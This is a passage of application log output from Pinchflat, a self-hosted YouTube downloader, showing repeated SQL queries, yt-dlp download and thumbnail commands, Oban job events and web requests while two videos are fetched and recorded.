s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:15:17.410 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:15:17.410 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1gavEkxCsII --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c5/93/c5930edaa639db6625c9b7e7c62a3237c2cd2d7119fa6da803a6ecd57c5ce626.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:15:19.685 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1gavEkxCsII --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c5/93/c5930edaa639db6625c9b7e7c62a3237c2cd2d7119fa6da803a6ecd57c5ce626.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:15:19.685 [debug] Running yt-dlp command for action: download 23:15:19.685 [debug] QUERY OK source="settings" db=0.1ms idle=1174.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:15:19.685 [debug] QUERY OK source="settings" db=0.0ms idle=1174.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:15:19.685 [debug] QUERY OK source="settings" db=0.0ms idle=1174.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:15:19.686 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1gavEkxCsII --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Custom Downloads/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fb/38/fb38453cafa7cbec43ae0bd03b3294cfe06c265aa658001ac3bf9d1790ded591.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:15:29.049 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:39.179 [info] GET /sources/8fb24aee-feec-4af5-920e-ef31159eb507/feed.xml 23:15:39.180 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "8fb24aee-feec-4af5-920e-ef31159eb507"} Pipelines: [:maybe_basic_auth] 23:15:39.181 [debug] QUERY OK source="sources" db=0.3ms queue=0.3ms idle=1669.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["8fb24aee-feec-4af5-920e-ef31159eb507"] 23:15:39.185 [debug] QUERY OK source="media_items" db=3.8ms queue=0.3ms idle=1265.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:15:39.211 [debug] QUERY OK source="source_metadata" db=0.0ms idle=700.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:15:39.212 [info] Sent 200 in 32ms 23:15:59.051 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.030 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:29.052 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:42.838 [info] GET /sources/2/media/86/edit 23:16:42.838 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "86", "source_id" => "2"} Pipelines: [:browser] 23:16:42.839 [debug] QUERY OK source="media_items" db=0.4ms idle=809.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [86] 23:16:42.840 [debug] QUERY OK source="settings" db=0.2ms idle=328.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:16:42.840 [debug] QUERY OK source="settings" db=0.2ms idle=329.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:16:42.841 [debug] QUERY OK source="settings" db=0.2ms idle=330.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:16:42.843 [info] Sent 200 in 5ms 23:16:59.053 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.031 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:29.055 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:39.409 [info] GET /sources/2/media/76/edit 23:17:39.409 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "76", "source_id" => "2"} Pipelines: [:browser] 23:17:39.410 [debug] QUERY OK source="media_items" db=0.4ms idle=898.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76] 23:17:39.411 [debug] QUERY OK source="settings" db=0.2ms idle=900.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:39.411 [debug] QUERY OK source="settings" db=0.1ms idle=900.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:39.412 [debug] QUERY OK source="settings" db=0.2ms idle=901.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:39.415 [info] Sent 200 in 5ms 23:17:59.056 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.032 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:28.190 [info] GET /sources/2/media/68/edit 23:18:28.190 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "68", "source_id" => "2"} Pipelines: [:browser] 23:18:28.191 [debug] QUERY OK source="media_items" db=0.3ms idle=1680.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [68] 23:18:28.193 [debug] QUERY OK source="settings" db=0.7ms idle=1681.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:18:28.193 [debug] QUERY OK source="settings" db=0.5ms idle=1001.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:18:28.195 [debug] QUERY OK source="settings" db=0.4ms idle=683.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:18:28.196 [info] Sent 200 in 6ms 23:18:29.058 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:59.059 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.033 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:12.904 [info] GET /sources/1/media/77/edit 23:19:12.904 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "77", "source_id" => "1"} Pipelines: [:browser] 23:19:12.905 [debug] QUERY OK source="media_items" db=0.4ms idle=1393.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [77] 23:19:12.906 [debug] QUERY OK source="settings" db=0.3ms idle=1394.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:12.906 [debug] QUERY OK source="settings" db=0.1ms idle=1395.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:12.907 [debug] QUERY OK source="settings" db=0.2ms idle=657.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:12.909 [info] Sent 200 in 5ms 23:19:29.060 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:32.830 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhV-ltzpGW8 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Custom Downloads/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a4/31/a43100bbdf46489723a34455ee1f3c0950c7ceac42b0a81aeb70330b050b29c6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:19:32.839 [debug] Running yt-dlp command for action: download_thumbnail 23:19:32.840 [debug] QUERY OK source="settings" db=0.0ms idle=561.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:32.840 [debug] QUERY OK source="settings" db=0.0ms idle=328.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:32.840 [debug] QUERY OK source="settings" db=0.0ms idle=329.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:32.840 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhV-ltzpGW8 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/213/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/7b/9f/7b9f24a29695a66b8727a4e321f6d77cf9f504bfceea534d47f54609777270cd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:19:35.719 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhV-ltzpGW8 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/213/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/7b/9f/7b9f24a29695a66b8727a4e321f6d77cf9f504bfceea534d47f54609777270cd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:19:35.719 [debug] QUERY OK db=0.0ms idle=1208.1ms begin [] 23:19:35.719 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_filepath" = ?, "media_downloaded_at" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/Custom Downloads/2026-02-26 Matthew Lillard Eats His Last Meal/Matthew Lillard Eats His Last Meal [LhV-ltzpGW8].mp4", ~U[2026-03-28 03:19:32Z], ~U[2026-03-28 03:19:35Z], 213] 23:19:35.719 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/213/metadata.json.gz", "/config/metadata/media_items/213/thumbnail.jpg", 213, ~U[2026-03-28 03:19:35Z], ~U[2026-03-28 03:19:35Z]] 23:19:35.720 [debug] QUERY OK db=0.0ms commit [] 23:19:35.732 [debug] QUERY OK source="media_items" db=0.8ms idle=1220.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [991293717, ~U[2026-03-28 03:19:35Z], 213] 23:19:35.732 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:19:35.732 [info] {"args":{"id":213},"id":120,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":280862013,"event":"job:stop","queue_time":869082,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:19:35.733 [debug] QUERY OK source="tasks" db=0.1ms idle=1221.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:19:35.733 [debug] QUERY OK source="media_items" db=0.1ms idle=451.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [215] 23:19:43.547 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1gavEkxCsII --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Custom Downloads/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fb/38/fb38453cafa7cbec43ae0bd03b3294cfe06c265aa658001ac3bf9d1790ded591.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:19:43.561 [debug] Running yt-dlp command for action: download_thumbnail 23:19:43.562 [debug] QUERY OK source="settings" db=0.0ms idle=272.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:43.562 [debug] QUERY OK source="settings" db=0.0ms idle=51.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:43.562 [debug] QUERY OK source="settings" db=0.0ms idle=51.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:43.562 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1gavEkxCsII --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/215/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/13/c6/13c6f3c5b54607f51aa07c5f58f47de8f2abe0b6f50c3fdc620fd50eb6881051.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:19:45.883 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1gavEkxCsII --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/215/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/13/c6/13c6f3c5b54607f51aa07c5f58f47de8f2abe0b6f50c3fdc620fd50eb6881051.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:19:45.884 [debug] QUERY OK db=0.0ms idle=591.6ms begin [] 23:19:45.884 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_filepath" = ?, "media_downloaded_at" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/Custom Downloads/2026-03-26 Elijah Wood Eats His Last Meal/Elijah Wood Eats His Last Meal [1gavEkxCsII].mp4", ~U[2026-03-28 03:19:43Z], ~U[2026-03-28 03:19:45Z], 215] 23:19:45.884 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/215/metadata.json.gz", "/config/metadata/media_items/215/thumbnail.jpg", 215, ~U[2026-03-28 03:19:45Z], ~U[2026-03-28 03:19:45Z]] 23:19:45.884 [debug] QUERY OK db=0.0ms commit [] 23:19:45.885 [debug] QUERY OK source="media_items" db=0.5ms idle=374.0ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [1111825085, ~U[2026-03-28 03:19:45Z], 215] 23:19:45.885 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:19:45.885 [info] {"args":{"id":215},"id":121,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":268477107,"event":"job:stop","queue_time":406949,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:19:45.886 [debug] QUERY OK source="tasks" db=0.0ms idle=374.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:19:53.541 [info] GET /sources/2/media/78/edit 23:19:53.541 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "78", "source_id" => "2"} Pipelines: [:browser] 23:19:53.542 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=232.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [78] 23:19:53.543 [debug] QUERY OK source="settings" db=0.1ms idle=31.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:53.543 [debug] QUERY OK source="settings" db=0.1ms idle=32.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:53.544 [debug] QUERY OK source="settings" db=0.1ms idle=32.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:53.545 [info] Sent 200 in 4ms 23:19:59.062 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.034 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:29.064 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:31.315 [info] GET /sources/1/media/44/edit 23:20:31.315 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "44", "source_id" => "1"} Pipelines: [:browser] 23:20:31.316 [debug] QUERY OK source="media_items" db=0.3ms idle=1804.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", 